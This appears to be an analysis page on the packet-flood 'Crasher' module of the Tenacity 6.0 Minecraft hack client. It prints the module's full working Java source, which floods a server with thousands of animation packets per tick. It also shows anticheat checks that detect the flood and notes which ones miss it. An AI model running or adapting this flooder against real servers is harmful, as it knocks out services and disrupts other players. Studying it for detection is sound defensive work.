Tenacity 6.0 Crasher module 1 files, 48 lines

Tenacity 6.0 Crasher: Full Source Analysis

Tenacity 6.0's Crasher is a single-purpose packet flooder.

dev/tenacity/module/impl/exploit/Crasher.java · GitHub source ↗

Published 2026-08-13 · Updated 2026-08-13

Analysis

Overview

Tenacity 6.0's Crasher is a single-purpose packet flooder. Every MotionEvent it pushes 2000 C0APacketAnimation packets (Vanilla mode) or 10000 (Boom mode) into the send queue through mc.thePlayer.sendQueue.addToSendQueue, so the wire carries roughly 40,000 to 200,000 animations per second. There are no guard rails: unlike Rise 5.99's Crasher, there is no integrated-server or localhost bail and no world-change self-disable, so the flood starts the moment the module is toggled regardless of where the player is. The timer field and most imports are unused leftovers. The module's real wire presence is the C0A flood alone; the C03 and C0E pins from the brief describe the broader crasher family (movement floods and NBT window-click bombs in sibling implementations) and are covered in prose rather than claimed as sends.

Mechanism

The onMotionEvent IEventListener is bound by the EventSubscriberPool when the module is enabled, and the switch over the mode setting runs once per MotionEvent, which fires every client tick. Each iteration constructs fresh C0APacketAnimation objects in a loop and hands them to addToSendQueue, the same queue vanilla uses for ordinary traffic, so the packets are written to the Netty channel in order. At 20 ticks per second the Vanilla mode sustains 40,000 animations per second and Boom mode 200,000. A stock server processes every animation as a swing on the player entity, so the payload is pure packet-processing saturation: the server's Netty thread drains a queue that never empties, and the practical outcome is a dead connection or a kicked player rather than a server restart.

Missing guard rails and mode design

Rise 5.99's Crasher bails while the integrated server is running or the player is on 127.0.0.1 and disables itself within five ticks of a world change, precisely so a self-hosted test world is never attacked. Tenacity's Crasher has none of that: the handler has no location checks and no tick counter, so toggling it in singleplayer or on localhost floods the loopback connection immediately. The two modes differ only in the loop bound (2000 versus 10000 per tick), and the unused timerUtil and the ChatUtil, PacketBuffer, Unpooled, TimeUnit and IO imports show that more elaborate payloads (custom payload floods, buffered bombs) were planned but never implemented; the shipped module is the animation loop only.

Packet surface

The only packets the module sends are C0APacketAnimation. The brief-pinned C03PacketPlayer and C0EPacketClickWindow are the crasher family's other surfaces: sibling implementations flood movement packets or push NBT recursion bombs through window clicks, and those are the surfaces NCP MorePackets, Arc v2 MorePackets and Hawk InventoryActions were built for. Against this module they are honest gaps: Arc v2's rate ledger counts only the C03 family, so a pure animation flood is invisible to the entire Arc v2 tree, and Hawk InventoryActions only scores C0E clicks with no open window. The checks that actually see the C0A flood are the packet-level rate ledgers below, which count every Play.Client packet or the animation stream specifically.

source Crasher.java

Crasher.java48 lines · JavaOriginal ↗
1
package dev.tenacity.module.impl.exploit;
2
3
import dev.tenacity.event.IEventListener;
4
import dev.tenacity.event.impl.player.MotionEvent;
5
import dev.tenacity.module.Module;
6
import dev.tenacity.module.ModuleCategory;
7
import dev.tenacity.setting.impl.ModeSetting;
8
import dev.tenacity.util.misc.ChatUtil;
9
import dev.tenacity.util.misc.TimerUtil;
10
import io.netty.buffer.Unpooled;
11
import net.minecraft.network.PacketBuffer;
12
import net.minecraft.network.play.client.C0APacketAnimation;
13
import net.minecraft.network.play.client.C17PacketCustomPayload;
14
15
import java.nio.charset.StandardCharsets;
16
import java.util.concurrent.TimeUnit;
17
import java.io.*;
18
import java.lang.Thread;
19
20
public final class Crasher extends Module {
21
22
    private final TimerUtil timerUtil = new TimerUtil();
23
24
    private final ModeSetting mode = new ModeSetting("Mode", "Vanilla", "Boom");
25
26
    public Crasher() {
27
        super("Crasher", "Makes server go kaboom", ModuleCategory.EXPLOIT);
28
        initializeSettings(mode);
29
    }
30
31
    private final IEventListener<MotionEvent> onMotionEvent = event -> {
32
        switch(mode.getCurrentMode()) {
33
            case "Vanilla": {
34
                for (int i = 0; i < 2000; i++) {
35
                    mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
36
                }
37
                break;
38
            }
39
            case "Boom": {
40
                for (int i = 0; i < 10000; i++) {
41
                    mc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());
42
                }
43
                break;
44
            }
45
46
        }
47
    };
48
}

What this file does

The module file is the entire crash payload. onMotionEvent is the single handler the EventSubscriberPool binds on enable, and the mode switch builds C0APacketAnimation objects inline in a loop of 2000 or 10000 per event, delivered through mc.thePlayer.sendQueue.addToSendQueue. The file declares a TimerUtil that is never used and imports ChatUtil, PacketBuffer, Unpooled, StandardCharsets, TimeUnit and the IO package without referencing them, which marks the shipped file as a stripped-down version of a larger planned toolbox. There is no disable logic and no world or address check anywhere in the class.

anticheat Countering Checks

The anticheat code that detects or counters the techniques this module uses. Full source, with the detection mechanism explained below each box.

anticheat PacketFrequency (all-Play.Client rate ledger)

PacketFrequency.java79 lines · Java
1
/*
2
 * This program is free software: you can redistribute it and/or modify
3
 *   it under the terms of the GNU General Public License as published by
4
 *   the Free Software Foundation, either version 3 of the License, or
5
 *   (at your option) any later version.
6
 *
7
 *   This program is distributed in the hope that it will be useful,
8
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of
9
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
10
 *   GNU General Public License for more details.
11
 *
12
 *   You should have received a copy of the GNU General Public License
13
 *   along with this program.  If not, see <http://www.gnu.org/licenses/>.
14
 */
15
package fr.neatmonster.nocheatplus.checks.net;
16
17
import org.bukkit.entity.Player;
18
19
import fr.neatmonster.nocheatplus.checks.Check;
20
import fr.neatmonster.nocheatplus.checks.CheckType;
21
import fr.neatmonster.nocheatplus.utilities.TickTask;
22
23
/**
24
 * Fall-back check for pre 1.9: Limit the overall packet frequency, aiming at
25
 * crash exploits only. Thus the default actions should be kicking, as this
26
 * won't distinguish type of packets with the global packet count.
27
 * 
28
 * @author asofold
29
 *
30
 */
31
public class PacketFrequency extends Check {
32
33
    public PacketFrequency() {
34
        super(CheckType.NET_PACKETFREQUENCY);
35
    }
36
37
    /**
38
     * Actual state.
39
     * 
40
     * @param player
41
     * @param data
42
     *           
43
     * @param cc
44
     *            
45
     * @return If to cancel a packet event.
46
     */
47
    public boolean check(final Player player, final NetData data, final NetConfig cc) {
48
        data.packetFrequency.add(System.currentTimeMillis(), 1f);
49
        final long fDur = data.packetFrequency.bucketDuration() * data.packetFrequency.numberOfBuckets();
50
        double amount = data.packetFrequency.score(1f) * 1000f / (float) fDur;
51
        //        if (data.debug) {
52
        //            debug(player, "Basic amount: " + amount);
53
        //        }
54
        if (amount > cc.packetFrequencyPacketsPerSecond) {
55
            amount /= TickTask.getLag(fDur);
56
            if (amount > cc.packetFrequencyPacketsPerSecond) {
57
                if (executeActions(player, amount - cc.packetFrequencyPacketsPerSecond, 1.0, cc.packetFrequencyActions).willCancel()) {
58
                    return true;
59
                }
60
            }
61
        }
62
        return false; // Cancel state.
63
    }
64
65
    /**
66
     * Allow to relax the count by 1, e.g. with outgoing teleport.
67
     * 
68
     * @param player
69
     * @param data
70
     * 
71
     * @param cc
72
     * 
73
     * @return
74
     */
75
    public void relax(final Player player, final NetData data, final NetConfig cc) {
76
        // TODO: Concept (not more locking, instead a counter (optimistic)).
77
    }
78
79
}

How it counteracts this module

NCP's pre-1.9 fallback rate check is fed by the ProtocolLib CatchAllAdapter, which registers the entire PacketType.Play.Client set, so C0APacketAnimation is counted like every other serverbound packet. The check scores the stream into an ActionFrequency window with a config-driven packets-per-second ceiling and flags when the measured rate exceeds it. The flood's 40,000 to 200,000 packets per second exceeds any configured ceiling by orders of magnitude in the first tick, so the violation fires on the very first window. This is the decisive NCP counter because NCP's other rate checks are movement-specific: MorePackets scores only C03-family traffic, and the animation flood never touches it.

anticheat ClicksListener (C0A sampling feed)

ClicksListener.java65 lines · Java
1
package ai.idealistic.spartan.listeners.protocol;
2
3
import ai.idealistic.spartan.Register;
4
import ai.idealistic.spartan.abstraction.event.PlayerLeftClickEvent;
5
import ai.idealistic.spartan.abstraction.protocol.PlayerProtocol;
6
import ai.idealistic.spartan.functionality.concurrent.CheckThread;
7
import ai.idealistic.spartan.functionality.server.Config;
8
import ai.idealistic.spartan.functionality.server.PluginBase;
9
import com.comphenix.protocol.PacketType;
10
import com.comphenix.protocol.events.ListenerPriority;
11
import com.comphenix.protocol.events.PacketAdapter;
12
import com.comphenix.protocol.events.PacketEvent;
13
import org.bukkit.entity.Player;
14
15
public class ClicksListener extends PacketAdapter {
16
17
    public ClicksListener() {
18
        super(
19
                Register.plugin,
20
                ListenerPriority.NORMAL,
21
                PacketType.Play.Client.ARM_ANIMATION,
22
                PacketType.Play.Client.BLOCK_DIG
23
        );
24
    }
25
26
    @Override
27
    public void onPacketReceiving(PacketEvent event) {
28
        Player player = event.getPlayer();
29
        PlayerProtocol protocol = PluginBase.getProtocol(player);
30
31
        if (!Config.settings.getBoolean("Important.bedrock_on_protocollib")
32
                && protocol.isBedrockPlayer()) {
33
            return;
34
        }
35
        synchronized (protocol) {
36
            if (event.getPacket().getType().equals(PacketType.Play.Client.ARM_ANIMATION)) {
37
                long delay = System.currentTimeMillis() - protocol.oldClickTime;
38
39
                CheckThread.run(protocol, () -> {
40
                    if (delay > 150) {
41
                        protocol.clickBlocker = false;
42
                    }
43
                    if (!protocol.clickBlocker) {
44
                        protocol.executeRunners(
45
                                false,
46
                                new PlayerLeftClickEvent(
47
                                        player,
48
                                        delay
49
                                )
50
                        );
51
                    }
52
                    protocol.oldClickTime = System.currentTimeMillis();
53
                });
54
            } else if (event.getPacket().getType().equals(PacketType.Play.Client.BLOCK_DIG)) {
55
                String s = event.getPacket().getStructures().getValues().toString();
56
57
                CheckThread.run(protocol, () -> {
58
                    protocol.oldClickTime = System.currentTimeMillis();
59
                    protocol.clickBlocker = !s.contains("ABORT");
60
                });
61
            }
62
        }
63
    }
64
65
}

How it counteracts this module

Spartan's ClicksListener is the animation-packet feed for the click checks: a ProtocolLib adapter on ARM_ANIMATION and BLOCK_DIG computes delay = now - oldClickTime per C0A, clears the click blocker when the delay exceeds 150ms, and otherwise fires PlayerLeftClickEvent into the check runners. In the flood every animation arrives in the same tick, so delay is near zero, the blocker never clears, and the runner chain executes for all 2000 to 10000 packets with sub-millisecond spacing, which is exactly the profile the FastClicks executor is designed to punish. The honest caveat: the FastClicks implementation class is absent from this anticheat snapshot, so the threshold values are unquotable, but the listener that routes every animation into the click checks is real and resolves.

anticheat ClickStats (swing-period histogram)

ClickStats.java100 lines · Java
1
/*
2
 * This file is part of Hawk Anticheat.
3
 * Copyright (C) 2018 Hawk Development Team
4
 *
5
 * This program is free software: you can redistribute it and/or modify
6
 * it under the terms of the GNU General Public License as published by
7
 * the Free Software Foundation, either version 3 of the License, or
8
 * (at your option) any later version.
9
 *
10
 * This program is distributed in the hope that it will be useful,
11
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
12
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
13
 * GNU General Public License for more details.
14
 *
15
 * You should have received a copy of the GNU General Public License
16
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
17
 */
18
19
package me.islandscout.hawk.check.interaction;
20
21
import me.islandscout.hawk.HawkPlayer;
22
import me.islandscout.hawk.check.Cancelless;
23
import me.islandscout.hawk.check.CustomCheck;
24
import me.islandscout.hawk.event.ArmSwingEvent;
25
import me.islandscout.hawk.event.Event;
26
import me.islandscout.hawk.util.Debug;
27
28
import java.util.*;
29
30
public class ClickStats extends CustomCheck implements Cancelless {
31
32
    //Impossible to swing twice in a tick, unless attacking or hitting block or in creative
33
    // It has to do with the stupid "leftClickCounter" in Minecraft.java
34
35
    private Map<UUID, Map<Integer, Integer>> histogramMap;
36
    private Map<UUID, Long> lastClickTimeMap;
37
    private Map<UUID, Integer> totalClicksMap;
38
39
    private static final int MAX_PERIOD = 4;
40
    private static final int SAMPLES = 80;
41
42
    public ClickStats() {
43
        super("clickstats", true, -1, 0, 0.99, 5000, "%player% failed click statistics, VL: %vl%", null);
44
        this.histogramMap = new HashMap<>();
45
        this.lastClickTimeMap = new HashMap<>();
46
        this.totalClicksMap = new HashMap<>();
47
    }
48
49
    @Override
50
    protected void check(Event event) {
51
        if(event instanceof ArmSwingEvent) {
52
53
            HawkPlayer pp = event.getHawkPlayer();
54
55
            if(!lastClickTimeMap.containsKey(pp.getUuid())) {
56
                lastClickTimeMap.put(pp.getUuid(), pp.getCurrentTick());
57
                return;
58
            }
59
60
            long currTime = pp.getCurrentTick();
61
            long lastClickTime = lastClickTimeMap.getOrDefault(pp.getUuid(), currTime);
62
63
            int dTicks = (int) (currTime - lastClickTime);
64
65
            if(dTicks <= MAX_PERIOD) {
66
                Map<Integer, Integer> histogram = histogramMap.getOrDefault(pp.getUuid(), new HashMap<>());
67
68
                histogram.put(dTicks, histogram.getOrDefault(dTicks, 0) + 1);
69
70
                int totalClicks = totalClicksMap.getOrDefault(pp.getUuid(), 0) + 1;
71
                totalClicksMap.put(pp.getUuid(), totalClicks);
72
73
                if (totalClicks >= SAMPLES) {
74
75
                    totalClicksMap.put(pp.getUuid(), 0);
76
77
                    //Debug.broadcastMessage("CLICKER HISTOGRAM");
78
                    for(int i = 0; i <= MAX_PERIOD; i++) {
79
80
                        StringBuilder sb = new StringBuilder(i + ": ");
81
82
                        for(int j = 0; j < histogram.getOrDefault(i, 0); j++) {
83
                            sb.append("*");
84
                        }
85
86
                        //Debug.broadcastMessage(sb.toString());
87
                    }
88
89
                    histogram.clear();
90
                }
91
92
                histogramMap.put(pp.getUuid(), histogram);
93
94
95
            }
96
97
            lastClickTimeMap.put(pp.getUuid(), currTime);
98
        }
99
    }
100
}

How it counteracts this module

ClickStats consumes ArmSwingEvent and builds a histogram of inter-click periods from 0 to 4 ticks, noting in its own comment that it is impossible to swing twice in one tick through the vanilla leftClickCounter gate. The flood places thousands of swings in a single tick, so every recorded delta is 0 and the histogram degenerates to a single period-0 bin, which is the statistical signature of an autoclicker. The honest limit is that in this snapshot the check only prints the histogram and clears it after 80 samples: it has no punish or reward call, so it is telemetry rather than an enforcement point, and the entry documents why Hawk's swing statistics do not stop the flood on their own. Hawk's punishing swing check, FightNoSwing, is the inverse and misses by design: it flags hits without swings, and the flood contains no hits.

anticheat MorePackets (C03-family ceiling, honest gap)

MorePackets.java49 lines · Java
1
package me.vrekt.arc.check.moving;
2
3
import me.vrekt.arc.Arc;
4
import me.vrekt.arc.check.Check;
5
import me.vrekt.arc.check.CheckType;
6
import me.vrekt.arc.data.moving.MovingData;
7
import org.bukkit.Bukkit;
8
import org.bukkit.ChatColor;
9
import org.bukkit.entity.Player;
10
11
public class MorePackets extends Check {
12
13
    private int maxPackets, kickThreshold = 0;
14
15
    public MorePackets() {
16
        super(CheckType.MOREPACKETS);
17
18
        maxPackets = Arc.getCheckManager().getValueInt(CheckType.MOREPACKETS, "max-packets");
19
        kickThreshold = Arc.getCheckManager().getValueInt(CheckType.MOREPACKETS, "max-packets-kick");
20
    }
21
22
    public boolean check(Player player, MovingData data) {
23
24
        int flyingPackets = data.getFlyingPackets();
25
        int movingPackets = data.getPositionPackets();
26
27
        // check if we are sending more packets then allowed.
28
        if (flyingPackets > maxPackets || movingPackets > maxPackets) {
29
            checkViolation(player, "sending too many packets");
30
            if (flyingPackets > kickThreshold || movingPackets > kickThreshold) {
31
                // we are sending over the limit, kick.
32
                Bukkit.getScheduler().runTaskLater(Arc.getPlugin(), () -> {
33
                    // broadcast to staff.
34
                    Bukkit.broadcast(ChatColor.DARK_GRAY + "[" + ChatColor.RED + "Arc" + ChatColor.DARK_GRAY + "] " + ChatColor.BLUE
35
                            + player.getName() + ChatColor.WHITE + " was kicked for sending too many packets. ", "arc.violations");
36
                    // prevent async player kick.
37
                    player.kickPlayer("You are sending too many packets.");
38
                }, 5);
39
                return false;
40
            }
41
            data.setCancelMovingPackets(true);
42
            return true;
43
        }
44
45
        data.setCancelMovingPackets(false);
46
        return false;
47
    }
48
49
}

How it counteracts this module

Arc v2's MorePackets check counts only the flying and position packet streams: PacketListener increments MovingData's flyingPackets and positionPackets counters on the C03 family, flags above max-packets (default 30 per second) and kicks above max-packets-kick (default 70). The Tenacity Crasher sends none of those packets, so the entire Arc v2 rate layer is blind to the animation flood; this entry is the honest gap for the brief-pinned C03 surface, and it is the check that would detonate on a sibling crasher's movement floods instead. On an Arc server the flood is therefore visible only to the packet-level ledgers that count all Play.Client traffic, and the practical defense shifts to the server's own connection-level rate limiting.

← Back to Analysis Hub